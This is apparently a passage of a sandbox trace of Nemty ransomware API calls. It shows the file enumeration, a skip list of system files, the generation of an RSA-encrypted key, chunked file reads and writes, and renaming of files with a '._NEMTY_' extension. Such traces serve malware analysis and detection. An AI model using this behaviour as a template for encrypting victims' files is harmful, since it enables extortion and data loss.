[0105.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94258, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.029] CloseHandle (hObject=0xffffffff) returned 0 [0106.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0106.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0106.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp._nemty_kgobjgd_")) returned 0 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0106.029] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_bw48.jpg", cAlternateFileName="")) returned 1 [0106.029] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".") returned 1 [0106.029] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="..") returned 1 [0106.029] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="...") returned 1 [0106.029] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="windows") returned 1 [0106.029] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="$RECYCLE.BIN") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="rsa") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="NTDETECT.COM") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="ntldr") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="MSDOS.SYS") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="IO.SYS") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="boot.ini") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="boot.ini") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="ntuser.dat") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="desktop.ini") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="CONFIG.SYS") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="RECYCLER") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="BOOTSECT.BAK") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="bootmgr") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="programdata") returned 1 [0106.030] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="appdata") returned 1 [0106.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.jpg", lpUsedDefaultChar=0x0) returned 15 [0106.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.jpg", lpUsedDefaultChar=0x0) returned 15 [0106.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.jpg", lpUsedDefaultChar=0x0) returned 15 [0106.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.jpg", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.jpg", lpUsedDefaultChar=0x0) returned 15 [0106.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0106.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0106.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0106.030] Sleep (dwMilliseconds=0x5) [0106.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2d8a690, dwHighDateTime=0x1d561e7)) [0106.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2d8a690, dwHighDateTime=0x1d561e7)) [0106.031] GetLastError () returned 0x5 [0106.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.032] GetLastError () returned 0x5 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.032] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.032] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.032] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94258 [0106.032] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94258, pcchString=0x653ef9c | out: pszString="5h5uScO1ADXPLDSPIb8KYrYy9Keebhcy3PtihcmRJ4de1eRUP5KbrjLXJ+6YJ3CX\r\nlGbR7+3aasjtoa64FdXrCPW5eZVlbFrIogmhOypww3IahrBU+VvbTvjmcfGp7EYT\r\nxKXMErMb4OT7DzlZnzd3XoNZRQQelM2ynao8Gk68738/Svk855e01LB29pHKUZ6E\r\nO56gd930nPrefFqzv1abvj3cQ+vWgeiGdYIhpaIHZfMfWG3mbsQg6KXI0ClZffcu\r\nCdghL1gAOcjg1HTRGSh24g+4EMwdGw5bLiRoJqptONDdGOb7sMdRHhZ5Nxwed/6X\r\nAbojUHC3ywQwoD23myoCUg==\r\n", pcchString=0x653ef9c) returned 1 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94258 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.032] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.032] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.052] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.052] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.099] WriteFile (in: hFile=0xffffffff, 